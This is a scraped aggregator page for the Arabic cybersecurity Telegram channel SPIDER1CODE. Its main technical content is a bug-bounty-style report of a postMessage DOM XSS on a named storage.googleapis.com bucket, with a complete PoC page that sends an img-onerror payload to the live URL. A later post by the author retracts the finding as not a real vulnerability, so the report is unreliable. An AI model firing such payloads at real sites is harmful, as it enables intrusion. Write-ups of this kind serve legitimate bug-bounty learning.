SPIDER1CODE

Відкрити в Telegram

Spider1Code is the first Arab community that brings together cybersecurity artificial intelligence, and more ✨🤍

Ірак37 403 Технології та додатки30 762

Buy Ad

1 750

Підписники

+324 години

+77 днів

-1530 днів

122

Перегляди допису

~ 3824 години

~ 4948 годин

6.98%

Коефіцієнт залучення

Немає даних

Дописів на день

Ads index

beta

Архів дописів

\n \n \n \n2. Open the poc.html file in Chrome or Firefox.\n3. Result: An alert box will appear displaying XSS: storage.googleapis.com.\n\n## 5. Impact\n* Cross-Site Scripting: Execution of arbitrary JavaScript in the context of storage.googleapis.com.\n* Phishing: The trusted Google domain can be leveraged to host convincing phishing pages or malware downloaders.\n* Same-Origin Violation: Potential access to other sensitive data or local storage items shared across the storage.googleapis.com origin (depending on bucket configurations and browser isolation mechanisms).\n\n## 6. Remediation\nImplement an origin check to ensure messages are only accepted from trusted domains (e.g., *.verily.com).\n\nPatch:\nwindow.addEventListener(\"message\", function(event) {\n const allowedOrigins = [\"https://verily.com\", \"https://workbench.verily.com\"];\n if (!allowedOrigins.includes(event.origin)) return;\n document.getElementById(\"content\").srcdoc = event.data;\n});","datePublished":"2026-01-04T17:21:51Z","dateModified":"2026-01-04T18:14:19Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":20},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":5,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/531","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/531","mainEntityOfPage":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/531","headline":"Xss in google","articleBody":"Xss in google","datePublished":"2026-01-04T15:58:28Z","dateModified":"2026-01-04T18:14:19Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":3,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":44},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":3}]}},{"@type":"ListItem","position":6,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/530","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/530","mainEntityOfPage":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/530","headline":"👌🏻🤍","articleBody":"👌🏻🤍","datePublished":"2026-01-03T10:16:15Z","dateModified":"2026-01-03T10:16:15Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":6,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":350},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":6},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":6}]}},{"@type":"ListItem","position":7,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/529","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/529","mainEntityOfPage":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/529","headline":"دقائق واحذف لا يفوتكم 👆 🔥☄️","articleBody":"دقائق واحذف لا يفوتكم 👆 🔥☄️","datePublished":"2026-01-01T08:23:37Z","dateModified":"2026-01-01T12:20:19Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":15}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2025-05-28T10:54:58Z"}}},{"@type":"ListItem","position":8,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/528","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/528","mainEntityOfPage":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/528","headline":"🔖 قائمة قنوات تكنولوجية✅ 🔖 مجموعة مختارة من قنوات التليجرام المتخصصة في: 💻 البرمجة | 🛡 الأمن السيبراني | 🌐 ال…","articleBody":"🔖 قائمة قنوات تكنولوجية✅\n\n🔖 مجموعة مختارة من قنوات التليجرام المتخصصة في:\n💻 البرمجة | 🛡 الأمن السيبراني | 🌐 الشبكات | 🧠 الذكاء الاصطناعي | 🖥 أنظمة التشغيل\n\n📎 تصفّح القنوات من هنا:\n ⭐https://t.me/addlist/X19g-c2waEY0NTJk\n ⭐https://t.me/addlist/X19g-c2waEY0NTJk\n\n💡 هل تود إضافة قناتك؟\nتواصل معنا: @MASTER_0_X\n\n👥 يشترط أن تكون القناة تقنية وبها أكثر من 500 عضو","datePublished":"2026-01-01T07:22:21Z","dateModified":"2026-01-01T12:20:19Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":18}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2025-05-28T11:05:24Z"}}},{"@type":"ListItem","position":9,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/527","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/527","mainEntityOfPage":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/527","headline":"All my certificates in 2025 🤍 عام جديد سعيد لكم و ب اذن الله من تطور لي تطور لنا جميعا 🤍","articleBody":"All my certificates in 2025 🤍\n\nعام جديد سعيد لكم و ب اذن الله من تطور لي تطور لنا جميعا 🤍","datePublished":"2025-12-30T09:31:47Z","dateModified":"2025-12-30T09:31:47Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":433},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":10,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/522","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/522","mainEntityOfPage":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/522","headline":"SPIDER1CODE","datePublished":"2025-12-30T09:31:01Z","dateModified":"2025-12-30T09:31:01Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":471},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}]}},{"@type":"ListItem","position":11,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/512","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/512","mainEntityOfPage":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/512","headline":"SPIDER1CODE","datePublished":"2025-12-30T09:31:00Z","dateModified":"2025-12-30T09:31:00Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":348},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}]}},{"@type":"ListItem","position":12,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/511","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/511","mainEntityOfPage":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/511","headline":"Bug bounty writeup 🤍👌🏻","articleBody":"Bug bounty writeup 🤍👌🏻","datePublished":"2025-12-25T07:52:28Z","dateModified":"2025-12-25T07:52:28Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":256},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}]}},{"@type":"ListItem","position":13,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/506","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/506","mainEntityOfPage":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/506","headline":"SPIDER1CODE","datePublished":"2025-12-25T07:52:14Z","dateModified":"2025-12-25T07:52:14Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":235},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}]}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/505","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/505","mainEntityOfPage":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/505","headline":"دا ريبورت لي ثغره كريتكال اتمني يفيدكم 🤍👌🏻 BUG BOUNTY That report of Critical bug i hope that helps you 👌🏻🤍","articleBody":"دا ريبورت لي ثغره كريتكال اتمني يفيدكم 🤍👌🏻\n\nBUG BOUNTY\n\nThat report of Critical bug i hope that helps you 👌🏻🤍","datePublished":"2025-12-20T07:49:18Z","dateModified":"2025-12-20T07:49:18Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":246},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/499","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/499","mainEntityOfPage":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/499","headline":"SPIDER1CODE","datePublished":"2025-12-20T07:47:55Z","dateModified":"2025-12-20T07:47:55Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":229},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3}]}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/498","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/498","mainEntityOfPage":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/498","headline":"جمعه مباركه عليكم لأهم مش تنسو صلي على سيدنا محمد صلى الله عليه وسلم 🤍✌🏻","articleBody":"جمعه مباركه عليكم لأهم مش تنسو \n\nصلي على سيدنا محمد صلى الله عليه وسلم 🤍✌🏻","datePublished":"2025-12-19T16:05:31Z","dateModified":"2025-12-19T16:05:31Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":223},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":6}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/496","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/496","mainEntityOfPage":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/496","headline":"انا عارف ان سنه جديده لسه مش بدات بس خير البر عاجلاً 🤍 تحديث جديد لي قناه و مجتمع : ببساطه في توبك الشات العا…","articleBody":"انا عارف ان سنه جديده لسه مش بدات بس خير البر عاجلاً 🤍\n\n\nتحديث جديد لي قناه و مجتمع :\n\nببساطه في توبك الشات العام او في شات القناه اكتب اي سوال محتار في او اي مشكله حصلت ليك و محتاج مساعده فيها و انا هحاول اساعدك و ارد عليك بافضل مجهود عندي و كل دا مجانا 🤍\n\n\nوطبعا تغيرات جديده في قناه و ان شاء الله نظام احسن لي احسن 🤍\n\n\n\nI know the new year hasn’t started yet, but doing good early is always better 🤍\n\nNew update for the channel and the community:\n\nSimply, in the public chat or the channel discussion, you can write any question you’re confused about or any problem you’re facing and need help with. I’ll do my best to help you and reply as well as I can — all for free 🤍\n\nOf course, there are new changes in the channel, and God willing, a better system for a better experience 🤍","datePublished":"2025-12-19T05:58:22Z","dateModified":"2025-12-19T05:58:22Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":232},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":3},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/492","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/492","mainEntityOfPage":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/492","headline":"بلاك ارش عاد !!! الحقيقه انا لن انزل بلاك ارش نفسها ولكن قمت بتصميم و بناء بلاك ارش نسخه منها و هيا تعمل علي…","articleBody":"بلاك ارش عاد !!!\n\nالحقيقه انا لن انزل بلاك ارش نفسها ولكن قمت بتصميم و بناء بلاك ارش نسخه منها و هيا تعمل علي لاجهزه الحديثه و الجديده و تعمل علي \n\nGnome\n\nحاليا ❤️🏆\n\nرابط مقال شرح كيف قمت بذالك :\n\nhttps://spider1sec.medium.com/black-arch-is-back-4fdf903d4892","datePublished":"2025-12-17T03:27:46Z","dateModified":"2026-01-28T04:44:12Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":4,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":201},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":4}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/491","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/491","mainEntityOfPage":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/491","headline":"BLACK ARCH IS BACK !!!! I didn’t install BlackArch. I rebuilt it. This article documents a full technical exp…","articleBody":"BLACK ARCH IS BACK !!!!\n\n\n\n\n\n\n\nI didn’t install BlackArch.\nI rebuilt it.\n\nThis article documents a full technical experiment:\nHow to integrate BlackArch tools and identity on top of a clean Arch Linux system, without downgrades, without instability, and without breaking Arch’s rolling model.\n\nThe goal wasn’t “using BlackArch” — it was separating layers:\n\nArch Linux as a stable rolling base\n\nBlackArch as a toolset, not a distribution\n\nGNOME as a controlled, modern desktop\n\n\nThe result is a system that keeps Arch clean and stable, while restoring BlackArch as a powerful, modular cybersecurity environment.\n\n📖 Full technical write-up :\n [https://spider1sec.medium.com/black-arch-is-back-4fdf903d4892]\n\n#Linux #ArchLinux #Cybersecurity #OpenSource #BlackArch","datePublished":"2025-12-17T03:25:57Z","dateModified":"2026-01-28T04:44:12Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":181},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/490","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/490","mainEntityOfPage":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1/posts/490","headline":"SPIDER1CODE","datePublished":"2025-12-13T00:58:28Z","dateModified":"2025-12-13T00:58:28Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/uk/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":228},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}}]}

1 750

Repost from N/a

دقائق واحذف لا يفوتكم 👆 🔥☄️

1 750

Repost from N/a

🔖 قائمة قنوات تكنولوجية✅ 🔖 مجموعة مختارة من قنوات التليجرام المتخصصة في: 💻 البرمجة | 🛡 الأمن السيبراني | 🌐 الشبكات | 🧠 الذكاء الاصطناعي | 🖥 أنظمة التشغيل 📎 تصفّح القنوات من هنا:

⭐https://t.me/addlist/X19g-c2waEY0NTJk ⭐https://t.me/addlist/X19g-c2waEY0NTJk

💡 هل تود إضافة قناتك؟ تواصل معنا: @MASTER_0_X 👥 يشترط أن تكون القناة تقنية وبها أكثر من 500 عضو

1 750

بعد ما راجعت و اتاكد اتعلمت حاجه جديده اني مش استعجل علي الحاجه صحيح شكلها يبان انها فعلا xss بس الحقيقه لا و هربط مقوله دي بكل شئ طلما مفيش impact مفيش Vulnerability العيب مش فل غلط العيب اني اصحح الغلط و المره الجايه هتاكد ميت مره و شكرا لكل واحد قالي كلمه كويسه و شكرا بردو الي قلي كلمه وحشه ف لاتنين انا اتعلمت و استفدت و انت اكيد يلي بتقراء استفدت من الموقف دا و اشوفكم على خير 🤍✌🏻

1 750

# Google VRP Report: DOM-Based XSS on storage.googleapis.com via Insecure postMessage Vulnerability Type: Cross-Site Scripting (XSS) > DOM-Based XSS Product / Component: Google Cloud Storage / Verily Workbench Affected URL: https://storage.googleapis.com/bkt-workbench-html-preview/iframe.html --- ## 1. Summary I have identified a DOM-based Cross-Site Scripting (XSS) vulnerability in the bkt-workbench-html-preview bucket hosted on storage.googleapis.com. The application fails to validate the origin of incoming postMessage events before assigning the payload directly to the srcdoc attribute of an iframe. This allows an attacker to execute arbitrary JavaScript in the context of the storage.googleapis.com domain. ## 2. Technical Details The vulnerable page listens for message events without checking event.origin. It takes event.data and immediately sets it as the srcdoc of an iframe element. Vulnerable Code Snippet:

window.addEventListener("message", function(event) {
    // Missing origin check
    document.getElementById("content").srcdoc = event.data; 
});

## 3. Attack Scenario An attacker can host a malicious website that includes the vulnerable page in an iframe. By sending a malicious HTML/JS payload via postMessage, the attacker can execute code within the victim's session on storage.googleapis.com. ## 4. Steps to Reproduce 1. Host the following HTML code on an attacker-controlled server (or save as poc.html locally):

    <!DOCTYPE html>
    <html>
    <head>
        <title>Google VRP PoC</title>
    </head>
    <body>
        <h1>PoC: DOM XSS on storage.googleapis.com</h1>
        <iframe id="target" src="https://storage.googleapis.com/bkt-workbench-html-preview/iframe.html" style="width:500px; height:500px;"></iframe>
        <script>
            var target = document.getElementById('target');
            target.onload = function() {
                var payload = "<img src=x onerror=alert('XSS: ' + document.domain)>";
                target.contentWindow.postMessage(payload, '*');
            };
        </script>
    </body>
    </html>

2. Open the poc.html file in Chrome or Firefox. 3. Result: An alert box will appear displaying XSS: storage.googleapis.com. ## 5. Impact * Cross-Site Scripting: Execution of arbitrary JavaScript in the context of storage.googleapis.com. * Phishing: The trusted Google domain can be leveraged to host convincing phishing pages or malware downloaders. * Same-Origin Violation: Potential access to other sensitive data or local storage items shared across the storage.googleapis.com origin (depending on bucket configurations and browser isolation mechanisms). ## 6. Remediation Implement an origin check to ensure messages are only accepted from trusted domains (e.g., *.verily.com). Patch:

window.addEventListener("message", function(event) {
    const allowedOrigins = ["https://verily.com", "https://workbench.verily.com"];
    if (!allowedOrigins.includes(event.origin)) return;
    document.getElementById("content").srcdoc = event.data;
});

1 750

Xss in google

1 750

👌🏻🤍

1 750

Repost from N/a

دقائق واحذف لا يفوتكم 👆 🔥☄️

1 750

Repost from N/a

⭐https://t.me/addlist/X19g-c2waEY0NTJk ⭐https://t.me/addlist/X19g-c2waEY0NTJk

💡 هل تود إضافة قناتك؟ تواصل معنا: @MASTER_0_X 👥 يشترط أن تكون القناة تقنية وبها أكثر من 500 عضو

1 750

All my certificates in 2025 🤍 عام جديد سعيد لكم و ب اذن الله من تطور لي تطور لنا جميعا 🤍

1 750

Bug bounty writeup 🤍👌🏻

1 750

دا ريبورت لي ثغره كريتكال اتمني يفيدكم 🤍👌🏻

BUG BOUNTY

That report of Critical bug i hope that helps you 👌🏻🤍

1 750

جمعه مباركه عليكم لأهم مش تنسو صلي على سيدنا محمد صلى الله عليه وسلم 🤍✌🏻

1 750

انا عارف ان سنه جديده لسه مش بدات بس خير البر عاجلاً 🤍 تحديث جديد لي قناه و مجتمع : ببساطه في توبك الشات العام او في شات القناه اكتب اي سوال محتار في او اي مشكله حصلت ليك و محتاج مساعده فيها و انا هحاول اساعدك و ارد عليك بافضل مجهود عندي و كل دا مجانا 🤍 وطبعا تغيرات جديده في قناه و ان شاء الله نظام احسن لي احسن 🤍 I know the new year hasn’t started yet, but doing good early is always better 🤍 New update for the channel and the community: Simply, in the public chat or the channel discussion, you can write any question you’re confused about or any problem you’re facing and need help with. I’ll do my best to help you and reply as well as I can — all for free 🤍 Of course, there are new changes in the channel, and God willing, a better system for a better experience 🤍

1 750

بلاك ارش عاد !!! الحقيقه انا لن انزل بلاك ارش نفسها ولكن قمت بتصميم و بناء بلاك ارش نسخه منها و هيا تعمل علي لاجهزه الحديثه و الجديده و تعمل علي

Gnome

حاليا ❤️🏆 رابط مقال شرح كيف قمت بذالك : https://spider1sec.medium.com/black-arch-is-back-4fdf903d4892

1 750

BLACK ARCH IS BACK !!!! I didn’t install BlackArch. I rebuilt it. This article documents a full technical experiment: How to integrate BlackArch tools and identity on top of a clean Arch Linux system, without downgrades, without instability, and without breaking Arch’s rolling model. The goal wasn’t “using BlackArch” — it was separating layers: Arch Linux as a stable rolling base BlackArch as a toolset, not a distribution GNOME as a controlled, modern desktop The result is a system that keeps Arch clean and stable, while restoring BlackArch as a powerful, modular cybersecurity environment. 📖 Full technical write-up : [https://spider1sec.medium.com/black-arch-is-back-4fdf903d4892] #Linux #ArchLinux #Cybersecurity #OpenSource #BlackArch

1 750

عجبك الـ بث مباشر ؟

Anonymous voting